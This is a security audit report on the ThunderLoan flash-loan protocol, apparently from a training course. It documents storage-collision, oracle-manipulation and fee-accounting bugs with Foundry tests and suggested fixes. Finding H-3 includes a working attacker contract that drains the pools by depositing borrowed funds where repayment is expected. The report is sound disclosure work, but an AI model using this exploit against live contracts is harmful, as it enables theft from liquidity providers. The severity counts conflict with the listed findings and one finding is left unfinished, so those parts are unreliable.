

Protocol Audit Report

Version 1.0

CyberGhost

October 31, 2026

Protocol Audit Report

CyberGhost

October 31, 2026

Prepared by: CyberGhost

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - [H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `ThunderLoan::deposit` function causes the protocol to think it has more fees than it really does, which blocks redemptions and incorrectly sets the exchange rate.
  - [H-2] Mixing up variable location causes storage slot collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol.
  - [H-3] Users can drain the protocol pools by calling the `ThunderLoan::deposit` function instead of calling `ThunderLoan::repay` or directly sending the tokens back to the asset token contract when they take out flash loans.

- [H-4] `getPriceOfOnePoolTokenInWeth` uses the TSwap price which doesn't account for decimals, also fee precision is 18 decimals.
- [M-1] Centralization risk for trusted owners.
- [M-2] Using TSwap as a price oracle leads to users getting much cheaper fees than expected.
- [M-3] Centralization and upgradeability risk via USDC proxy integration in ThunderLoan, leads to a potential freezing of the protocol's functionality.
- [L-1] The visibility and parameter types of the `repay` function in the `IThunderLoan` interface does not match the one that is in the `ThunderLoan` contract.
- [L-2] Address state variable set without checks.
- [L-3] Missing critical event emissions.
- [L-4] Initializers could be front-run.
- [I-1] It is a bad development practice to ajust a live code for testing purposes, and the unnecessary import statement in the `IFlashLoanReceiver` should be removed.
- [I-2] Not using __gap[50] for future storage collision mitigation
- [I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6
- [I-4] The protocol test coverage is below 90%. This often means that there are parts of code that hasn't been tested.
- [I-5] External contract interactions, including price retrievals should be tested via `forked` tests, not mocks.
- [I-6] Using a confusing naming convention in `ThunderLoan::initialize`.
- [I-7] The core functions are missing a clear documentation `NatSpec` which is not the best development practice.
- [I-8] The `ThunderLoan::setAllowedToken` function reverts if a token is already allowed. However, it would be better if it was emitting an additional info about the asset token and underlying token that an owner is trying to allow.
- [I-9] Unused error declarations inside the `ThunderLoan.sol` and `ThunderLoanUpgraded.sol` should be removed.
- [I-10] The `ThunderLoan::flashloan` function emits event after an external call. It would be better to follow CEI.
- [G-1] `AssetToken::updateExchangeRate` reads from storage multiple times, what could be avoided by storing `s_exchangeRate` as a memory variable.
- [G-2] The `ThunderLoan::s_feePrecision` should be marked as a constant variable, because it is never changed.
- [G-3] Public functions not used internally should be marked as external.

Protocol Summary

The `ThunderLoan` protocol acts as a decentralized flash loan protocol based on AAVE where liquidity providers can deposit underlying tokens to TL pools (`AssetToken` contracts) via the `deposit` function on `ThunderLoan` and be rewarded with `AssetTokens`. `AssetToken` smart contracts hold their underlying tokens and mint rewards to LPs itself (are ERC20 tokens). Over time, a fee accrues to providers as users take out flash loans and repay the borrowed amount + the estimated fees. The `owner` of the protocool has the rights to upgrade the proxy contract with new smart contract implementations (`ThunderLoan` instances), change the fee amount that will be charged to users and approve / disapprove ERC20 tokens which the protocol supports.

Disclaimer

This security review is a point-in-time assessment conducted independently on a time-boxed basis. The findings, architectural notes, and Proofs of Concept contained herein reflect the state of the codebase at the exact time of analysis and do not guarantee an absolute absence of vulnerabilities.

This document is provided for informational and security-hardening purposes only. It does not constitute financial, legal, or investment advice, nor does it represent an endorsement of the underlying protocol, team, or token economics.

The independent security researcher disclaims all liability for any direct or indirect financial loss, exploited vulnerabilities, or protocol failures arising from the deployment, modification, or interaction with the reviewed smart contracts. Security is an ongoing process, not a final destination.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

During the security review, the severe disruptions of the protocol functionality have been found. The `ThunderLoan` team must adhere the recommended mitigations and implement the recommended design patterns to account the found issues.

Particularly, **there is a way for LP's funds to stuck in the smart contracts**, and **anyone can steal all the funds from the protocol via flash loan attacks**.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	4
Info	10
Gas	3
Total	23

Findings

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `ThunderLoan::deposit` function causes the protocol to think it has more fees than it really does, which blocks redemptions and incorrectly sets the exchange rate.

Description: The `ThunderLoan::deposit` function implements incorrect logic by changing the exchange rate on the assetToken contract when liquidity providers deposit into the protocol, leading to inability to redeem their underlying assets via the `ThunderLoan::redeem` function later. By changing the exchange rate and not receiveng any extra fees, user's funds are stuck in the smart contract.

In the ThunderLoan system, `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function updates this rate, without collecting any fees!

```
function deposit(
    IERC20 token,
    uint256 amount
) external revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();

    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
```

```
        exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    // @audit-high
@>  uint256 calculatedFee = getCalculatedFee(token, amount);
@>  assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact: There are several impacts to this bug: 1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has. 2. Rewards are incorrectly calculated, leading to liquidity providers potentially receive way more or less than deserved.

Proof of Concept: The test below exactly demonstrates the flaw inside the `deposit` function:

PoC

Place the following into `ThunderLoanTest.t.sol`:

```
function testRedeemAfterDeposit() public setAllowedToken hasDeposits {
    AssetToken asset = thunderLoan.getAssetFromToken(tokenA);

    uint256 startingUserUnderlying = tokenA.balanceOf(liquidityProvider);
    uint256 startingUserShares = asset.balanceOf(liquidityProvider);

    assertEq(startingUserUnderlying, 0);
    assertEq(startingUserShares, DEPOSIT_AMOUNT);

    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, DEPOSIT_AMOUNT);
    vm.stopPrank();

    uint256 endingUserUnderlying = tokenA.balanceOf(liquidityProvider);
    uint256 endingUserShares = asset.balanceOf(liquidityProvider);

    assertEq(endingUserUnderlying, DEPOSIT_AMOUNT);
    assertEq(endingUserShares, 0);
}
```

1. Owner sets an allowed token;
2. The LP makes a deposit of 1000 tokens;

3. The LP is trying to withdraw their tokens immediately;
4. As a result, the contract sends the LP 1003 tokens, instead of 1000 tokens, resulting in insufficient ERC20 balance error.

```
[Revert] ERC20InsufficientBalance(0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7,
10000000000000000000 [1e21], 10030000000000000000 [1.003e21])
```

Recommended Mitigation: Remove the unnecessary updating of exchange rate from `deposit` function:

```
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
```

[H-2] Mixing up variable location causes storage slot collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol.

Description: The `ThunderLoan` protocol has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However, the upgraded version of the contract `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee;
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables breakes the storage locations as well.

Impact: After the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. It means that users who will take out flash loans right after the upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping will start in the wrong storage slot.

Proof of Concept:

PoC

Place the following into `ThunderLoanTest.t.sol`:

```
import {ThunderLoanUpgraded} from
 ↪  "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
.
.
.
function testUpgradeBreakes() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    ThunderLoanUpgraded thunderLoanUpgraded = new ThunderLoanUpgraded();
    vm.startPrank(thunderLoan.owner());
    thunderLoan.upgradeToAndCall(address(thunderLoanUpgraded), "");
    vm.stopPrank();
    uint256 feeAfterUpgrade = thunderLoan.getFee();

    console.log("Fee Before: ", feeBeforeUpgrade);
    console.log("Fee After: ", feeAfterUpgrade);

    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

As a result:

```
[PASS] testUpgradeBreakes() (gas: 5093071)
Logs:
  Fee Before:  3000000000000000
  Fee After:  1000000000000000000
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-   uint256 private s_flashLoanFee;
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee;
+   uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] Users can drain the protocol pools by calling the `ThunderLoan::deposit` function instead of calling `ThunderLoan::repay` or directly sending the tokens back to the asset token contract when they take out flash loans.

Description: The `ThunderLoan` contract allows borrowers to call the `deposit` function to cover the owed tokens. The `ThunderLoan::flashloan` function only checks the starting and the ending statement of the balance of an underlying token against being greater than or equal to the `initial balance + the estimated fees`. However, it does not take in account the fact that the borrowed funds can be deposited back to the contract via `deposit` function, and the check will succeed. It allows a hacker to call the redeem function immediately after the flash loan processed, severely violating the protocol intended behavior.

Impact: Liquidity providers can lose all the funds they deposited, and the protocol will be destroyed.

Proof of Concept:

1. An attacker deploys a malicious contarct `DepositOverRepay` and sends it the needed fee;
2. They execute a flash loan with the designated amount of tokens, where the receiver is the newly deployed contract;
    1. The `executeOperation` in the `dor` deposits all the borrowed funds back to the `ThunderLoan`;
    2. The verification of fund repayment within the `flashloan` is successful;
    3. Now, the `DepositOverRepay` contract has the stolen funds.
3. An attacker immediately calls `stealFunds` within the `dor` instance which triggers the `redeem` function on `ThunderLoan`, which in turn sends the underlying asset to the hacker.

The test below demonstrates the execution flow that allows a hacker to drain the funds:

```
    function testDepositInsteadOfRepayToStealFunds()
        public
        setAllowedToken
        hasDeposits
    {
        uint256 amountToBorrow = 100e18;
        vm.startPrank(user);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        uint256 feeNeeded = thunderLoan.getCalculatedFee(
            tokenA,
            amountToBorrow
        );
        tokenA.mint(address(dor), feeNeeded);
```

```
        thunderLoan.flashloan(
            address(dor),
            IERC20(tokenA),
            amountToBorrow,
            hex""
        );
        dor.stealFunds();
        assertGt(
            IERC20(tokenA).balanceOf(address(dor)),
            amountToBorrow + feeNeeded
        );
        vm.stopPrank();
    }

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address public tokenA;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    ) external returns (bool) {
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        tokenA = token;
        return true;
    }

    function stealFunds() public {
        AssetToken assetToken =
↪   thunderLoan.getAssetFromToken(IERC20(tokenA));
        IERC20(address(assetToken)).approve(
            address(thunderLoan),
            type(uint256).max
        );
        thunderLoan.redeem(IERC20(tokenA), type(uint256).max);
```

```
    }
}
```

Recommended Mitigation: Consider disallowing multiple loans of the same token if it's currently flashloaning, and enforce repayments to be processed via the `ThunderLoan::repay` function.

1. Change the repayment verification and change the `currently flashloaning` pattern:
    1. Add a mapping called `s_tokenToAmountOwed` which will keep track of tokens and their respective amounts that are currently in progress;
    2. Each time a flash loan is taken, assign the borrowed amount and its estimated fees to a token;
2. Add the check against the value of a token a borrower is going to loan being `0`, at the beginning of the `flashloan` function; If it's not equal to zero - revert with the `ThunderLoan__IsCurrentlyFlashLoaning` error;
3. At the ending of the `flashloan` function after a `functionCall` is finished, query the ending statement of the `s_tokenToAmountOwed` mapping, and if it is not zero - revert with the `ThunderLoan__LoanNotCovered(amountOwed);`
4. The only way to change the owed amount of a specific token inside the `s_tokenToAmountOwed` maping to zero is enforicing repayments to be processed only via `ThunderLoan::repay` function. The `repay` will check the amount a user is willing to repay to be grater than or equal to the `amountOwed`. If it is, it will process the transaction, if not - revert with the `ThunderLoan__NotEnoughTokensToRepay` error.
5. Additionally, we don't need the `s_currentlyFlashLoaning` mapping any longer, every check related to current loans are handled via `s_tokenToAmountOwed` mapping.

Inside the `ThunderLoan.sol` / `ThunderLoanUpgraded.sol` files:

```
    /*//////////////////////////////////////////////////////////////
                            STATE VARIABLES
    //////////////////////////////////////////////////////////////*/
    .
    .
    .
-   mapping(IERC20 token => bool currentlyFlashLoaning) private
 ↪  s_currentlyFlashLoaning;
+   mapping(IERC20 token => uint256 amountOwed) public s_tokenToAmountOwed;
.
.
.
```

```
    /*//////////////////////////////////////////////////////////////
                                ERRORS
    //////////////////////////////////////////////////////////////*/
    .
    .
    .
-   error ThunderLoan__NotPaidBack(uint256 expectedEndingBalance, uint256
 ↪  endingBalance);
+   error ThunderLoan__LoanNotCovered(uint256 amountOwed);
+   error ThunderLoan__NotEnoughTokensToRepay(uint256 amountOwed,uint256
 ↪  amount);
+   error ThunderLoan__IsCurrentlyFlashLoaning();
.
.
.
    function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    )
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)
    {
+       if (s_tokenToAmountOwed[token] != 0) {
+           revert ThunderLoan__IsCurrentlyFlashLoaning();
+       }

        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 startingBalance =
 ↪  IERC20(token).balanceOf(address(assetToken));

        if (amount > startingBalance) {
            revert ThunderLoan__NotEnoughTokenBalance(startingBalance,
 ↪  amount);
        }

        if (receiverAddress.code.length == 0) {
            revert ThunderLoan__CallerIsNotContract();
        }

        uint256 fee = getCalculatedFee(token, amount);
```

```
        // keeps track of the loaned funds of a specific token
+       s_tokenToAmountOwed[token] = amount + fee;
        emit FlashLoan(receiverAddress, token, amount, fee, params);
        // slither-disable-next-line reentrancy-vulnerabilities-2
 ↪  reentrancy-vulnerabilities-3
        assetToken.updateExchangeRate(fee);


-       s_currentlyFlashLoaning[token] = true;
        assetToken.transferUnderlyingTo(receiverAddress, amount);
        // slither-disable-next-line unused-return
 ↪  reentrancy-vulnerabilities-2
        receiverAddress.functionCall(
            abi.encodeCall(
                IFlashLoanReceiver.executeOperation,
                (
                    address(token),
                    amount,
                    fee,
                    msg.sender, // initiator
                    params
                )
            )
        );

+       uint256 amountOwed = s_tokenToAmountOwed[token];

+       if (amountOwed != 0) {
+           revert ThunderLoan__LoanNotCovered(amountOwed);
+       }

-       uint256 endingBalance = token.balanceOf(address(assetToken));
-       if (endingBalance < startingBalance + fee) {
-           revert ThunderLoan__NotPaidBack(startingBalance + fee,
 ↪  endingBalance);
-       }
-       s_currentlyFlashLoaning[token] = false;
    }

    function repay(IERC20 token, uint256 amount) public {
-       if (!s_currentlyFlashLoaning[token]) {
-           revert ThunderLoan__NotCurrentlyFlashLoaning();
-       }
```

```
+       uint256 amountOwed = s_tokenToAmountOwed[token];
+       if (amountOwed == 0) {
+           revert ThunderLoan__NotCurrentlyFlashLoaning();
+       }
+       if (amount < amountOwed) {
+           revert ThunderLoan__NotEnoughTokensToRepay(amountOwed, amount);
+       }

        AssetToken assetToken = s_tokenToAssetToken[token];
+       s_tokenToAmountOwed[token] = 0;
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
.
.
.
    function isCurrentlyFlashLoaning(IERC20 token) public view returns
↪   (bool) {
-       return s_currentlyFlashLoaning[token];
+       return s_tokenToAmountOwed[token] > 0;
    }
```

Additionally, it will reduce some attack vectors related to multiple flashloans from `ThunderLoan` of the same token within one single transaction, but won't protect against other ways to manipulate oracle prices.

[H-4] `getPriceOfOnePoolTokenInWeth` uses the TSwap price which doesn't account for decimals, also fee precision is 18 decimals.

Proof of Concept TODO - After the course!

[M-1] Centralization risk for trusted owners.

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform any malicious updates or drain funds.

Instances (6):

- Found in src/protocol/ThunderLoan.sol Line: 242

```
    function setAllowedToken(IERC20 token, bool allowed) external
↪   onlyOwner returns (AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 268

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

- Found in src/protocol/ThunderLoan.sol Line: 296

```
    function _authorizeUpgrade(address newImplementation) internal
↪   override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 238

```
    function setAllowedToken(IERC20 token, bool allowed) external
↪   onlyOwner returns (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
    function _authorizeUpgrade(address newImplementation) internal
↪   override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token.

[M-2] Using TSwap as a price oracle leads to users getting much cheaper fees than expected.

Description: The TSwap is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction:

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:

1. User sells 1000 tokenA, tanking the price;
2. Insted of repaying right away, they take out another flash loan for another 1000 tokenA.
    1. Due to the fact that the way ThunderLoan calculates price based on the TSwapPool this second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns
↪  (uint256) {
        address swapPoolOfToken =
↪  IPoolFactory(s_poolFactory).getPool(token);
@>      return
↪  ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

I have created a proof of code located in my audit-data folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-3] Centralization and upgradeability risk via USDC proxy integration in ThunderLoan, leads to a potential freezing of the protocol's functionality.

Description: The ThunderLoan protocol integrates with USD Coin (USDC), which relies on an upgradeable proxy architecture (FiatTokenProxy delegatecalling to an implementation contract controlled by Circle).

While upgradeability allows the token issuer to maintain and improve the asset contract, it introduces significant external dependencies and risks into ThunderLoan:

1. **Proxy Upgrade Mutability:** Circle's admin keys retain the authority to upgrade the underlying implementation logic of USDC at any time without prior notice. An upgrade could alter internal accounting, state variables, or transfer behaviors.
2. **Admin Controls and Compliance (Blacklisting & Pausing):** The USDC proxy includes built-in administrative controls, such as a blacklister and pauser role. If ThunderLoan pools, flash loan contracts, or user interaction paths interact with a blacklisted or paused state, core protocol workflows will instantly revert.

Impact: If Circle pauses the USDC contract or blacklists an active contract address within ThunderLoan, liquidity providers and borrowers will experience immediate transaction reverts, causing Denial of Service (DoS) and potential fund lockups during repayments.

Recommended Mitigation:

User & Integrator Awareness: Clearly document that integrating proxy-backed tokens introduces third-party operational and regulatory risks (such as blacklisting) that are outside the protocol's direct control.

[L-1] The visibility and parameter types of the `repay` function in the `IThunderLoan` interface does not match the one that is in the `ThunderLoan` contract.

Description: Due to the fact that the `IThunderLoan` interface has not been inherited by the main `ThunderLoan` contract, an error was made in the type and visibility specification.

Impact: The incorrect implementation of the `repay` function breakes the protocol's interoperability. Any mismatch between an interface definition and the actual implementation can lead to unexpected execution flows, trapped funds or system-wide exploits.

Additionally, the visibility should be `external` in both contracts, because the `repay` function is used nowhere within the `ThunderLoan`.

Recommended Mitigation: Inherit the `IThunderLoan` contract directly into `ThunderLoan.sol` and change the visibility to external in both ones. Additionally, we need to do the same in the upgraded version of the `ThunderLoan.sol`.

file: IThunderLoan.sol:

```
- function repay(address token, uint256 amount) external;
+ function repay(IERC20 token, uint256 amount) external;
```

file: ThunderLoan.sol / ThunderLoanUpgraded.sol

```
+   import {IThunderLoan} from "../interfaces/IThunderLoan.sol";
.
.
.
contract ThunderLoan is
    Initializable,
    OwnableUpgradeable,
    UUPSUpgradeable,
    OracleUpgradeable,
+   IThunderLoan
{
    .
```

```
    .
    .
-   function repay(IERC20 token, uint256 amount) public
+   function repay(IERC20 token, uint256 amount) external {
        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
}
```

[L-2] Address state variable set without checks.

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/protocol/OracleUpgradeable.sol Line: 16

```
        s_poolFactory = poolFactoryAddress;
```

[L-3] Missing critical event emissions.

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

Inside the `ThunderLoan.sol` and `ThunderLoanUpgraded.sol` files:

```
+   event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
```

```
+         emit FlashLoanFeeUpdated(newFee);
    }
```

[L-4] Initializers could be front-run.

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing re-deployment.

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

(11):
function __Oracle_init(address poolFactoryAddress) internal
 ↪  onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol &
src/upgradedProtocol/ThunderLoanUpgraded.sol:

(140):
function initialize(address tswapAddress) external initializer {

141: __Ownable_init(msg.sender);

142: __UUPSUpgradeable_init();

143: __Oracle_init(tswapAddress);
```

[I-1] It is a bad development practice to ajust a live code for testing purposes, and the unnecessary import statement in the `IFlashLoanReceiver` should be removed.

```
-  import {IThunderLoan} from "./IThunderLoan.sol";
```

Instead, you should import it directly in `MockFlashLoanReceiver`:

```
.
.
.
+ import {IThunderLoan} from "../../src/interfaces/IThunderLoan.sol";
```

[I-2] Not using __gap[50] for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] The protocol test coverage is below 90%. This often means that there are parts of code that hasn't been tested.

Recommended Mitigation: Increase test coverage to 90% or higher, espesially for the `DeployThunderLoan.s.sol` script and `Branches` column.

[I-5] External contract interactions, including price retrievals should be tested via `forked` tests, not mocks.

Description: The `OracleUpgradeableTest.t.sol` should fork the `live` TSwap pools to test the price retrievals and any other kind of interactions with any external protocols.

Impact: Any diffeernce between the live `TSwapPool`, `PoolFactory` and their mocked versions - `MockTSwapPool` and `MockPoolFactory` may lead to some critical functional discrepancies.

Recommended Mitigation: Use a forked `mainnet` version of TSwap's `PoolFactory.sol` and create pools via its functionality.

Inside the `BaseTest.t.sol`:

```
-    import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";
-    import { MockPoolFactory } from "../mocks/MockPoolFactory.sol";
+    import {IPoolFactory} from "../../src/interfaces/IPoolFactory.sol";
+    import {ITSwapPool} from "../../src/interfaces/ITSwapPool.sol";
// Add the address of the live TSwap PoolFactory in a separate file.
+    import {TPoolFactory} from "../Constants.sol"

contract BaseTest is Test {
    ThunderLoan thunderLoanImplementation;
    MockPoolFactory mockPoolFactory;
    ERC1967Proxy proxy;
```

```
    ThunderLoan thunderLoan;

    ERC20Mock weth;
    ERC20Mock tokenA;

    function setUp() public virtual {
        thunderLoan = new ThunderLoan();
-       mockPoolFactory = new MockPoolFactory();

        weth = new ERC20Mock();
        tokenA = new ERC20Mock();

+       IPoolFactory(TPoolFactory).createPool(address(tokenA));
-       mockPoolFactory.createPool(address(tokenA));

        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
-       thunderLoan.initialize(address(mockPoolFactory));
+       thunderLoan.initialize(TPoolFactory);
    }
}
```

[I-6] Using a confusing naming convention in `ThunderLoan::initialize`.

Description: `ThunderLoan::initialize` function is responsible for initializing the TSwap `poolFactory` address. However, as the name suggest, it takes a `tswapAddress` cofusing future deployers.

Recommended Mitigation: Change `tswapAddress` to `poolFactoryAddress`:

```
-   function initialize(address tswapAddress) external initializer
+   function initialize(address poolFactoryAddress) external initializer {
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
-       __Oracle_init(tswapAddress);
+       __Oracle_init(poolFactoryAddress);
        s_feePrecision = 1e18;
        s_flashLoanFee = 3e15;
    }
```

[I-7] The core functions are missing a clear documentation `NatSpec` which is not the best development practice.

Description: Lack of documentation makes it difficult for other developers to understand what the functions are supposed to do.

Recommended Mitigation: Write a clear documentation for the core functions in the `ThunderLoan` protocol:

Found instances (6):

1. deposit
2. flashloan
3. repay
4. setAllowedToken
5. getCalculatedFee
6. updateFlashLoanFee

[I-8] The `ThunderLoan::setAllowedToken` function reverts if a token is already allowed. However, it would be better if it was emitting an additional info about the asset token and underlying token that an owner is trying to allow.

```
-   error ThunderLoan__AlreadyAllowed();
+   error ThunderLoan__AlreadyAllowed(address indexed underlying, address
 ↪  indexed asset);
.
.
.
    function setAllowedToken(
        IERC20 token,
        bool allowed
    ) external onlyOwner returns (AssetToken) {
        if (allowed) {
+           address assetToken = address(s_tokenToAssetToken[token]);
            if (assetToken != address(0)) {
-               revert ThunderLoan__AlreadyAllowed();
+               revert ThunderLoan__AlreadyAllowed(address(token),
 ↪  assetToken);
            }
    }
```

[I-9] Unused error declarations inside the `ThunderLoan.sol` and `ThunderLoanUpgraded.sol` should be removed.

It was probably messed up with the `AssetToken` contract's `AssetToken__ExhangeRateCanOnlyIncrease` error, so it needs to be removed.

Inside the `ThunderLoan.sol` and `ThunderLoanUpgraded.sol`:

```
- error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[I-10] The `ThunderLoan::flashloan` function emits event after an external call. It would be better to follow CEI.

```
    function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    )
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)
    {
        .
        .
        .
        uint256 fee = getCalculatedFee(token, amount);
+       emit FlashLoan(receiverAddress, token, amount, fee, params);
        // slither-disable-next-line reentrancy-vulnerabilities-2
 ↪  reentrancy-vulnerabilities-3
        assetToken.updateExchangeRate(fee);

-       emit FlashLoan(receiverAddress, token, amount, fee, params);
    }
```

[G-1] `AssetToken::updateExchangeRate` reads from storage multiple times, what could be avoided by storing `s_exchangeRate` as a memory variable.

Inside the `AssetToken.sol` file:

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
+       uint256 oldExchangeRate = s_exchangeRate;
-       uint256 newExchangeRate = (s_exchangeRate * (totalSupply() + fee))
 ↪  / totalSupply();
+       uint256 newExchangeRate = (oldExchangeRate * (totalSupply() + fee))
 ↪  / totalSupply();
-       if (newExchangeRate <= s_exchangeRate) {
+       if (newExchangeRate <= oldExchangeRate) {
            revert AssetToken__ExhangeRateCanOnlyIncrease(
-               s_exchangeRate,
+               oldExchangeRate,
                newExchangeRate
            );
        }
        s_exchangeRate = newExchangeRate;
-       emit ExchangeRateUpdated(s_exchangeRate);
+       emit ExchangeRateUpdated(newExchangeRate);
    }
```

[G-2] The `ThunderLoan::s_feePrecision` should be marked as a constant variable, because it is never changed.

Inside the `ThunderLoan.sol` file:

```
-   uint256 private s_feePrecision;
+   uint256 private constant FEE_PRECISION = 1e18;
.
.
.
    function initialize(address tswapAddress) external initializer {
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
        __Oracle_init(tswapAddress);
-       s_feePrecision = 1e18; // @audit-info magic numbers
        s_flashLoanFee = 3e15; // 0.3% ETH fee
    }
```

[G-3] Public functions not used internally should be marked as external.

If a function is marked public but is not used internally, consider marking it as `external`.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 234

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/protocol/ThunderLoan.sol Line: 280

```
    function getAssetFromToken(IERC20 token) public view returns
↪   (AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 284

```
    function isCurrentlyFlashLoaning(IERC20 token) public view returns
↪   (bool) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 230

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 275

```
    function getAssetFromToken(IERC20 token) public view returns
↪   (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 279

```
    function isCurrentlyFlashLoaning(IERC20 token) public view returns
↪   (bool) {
```